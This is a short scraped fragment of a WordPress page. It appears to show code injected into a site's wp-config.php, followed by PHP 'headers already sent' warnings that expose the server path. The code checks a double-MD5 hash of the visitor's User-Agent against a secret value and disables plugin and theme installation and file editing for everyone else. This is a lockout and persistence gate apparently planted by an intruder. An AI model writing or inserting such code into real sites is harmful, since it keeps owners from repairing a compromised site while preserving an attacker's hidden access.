if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){
    define('DISALLOW_FILE_MODS', true);
    define('DISALLOW_FILE_EDIT', true);
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/pluggable.php</b> on line <b>1435</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/pluggable.php</b> on line <b>1438</b><br />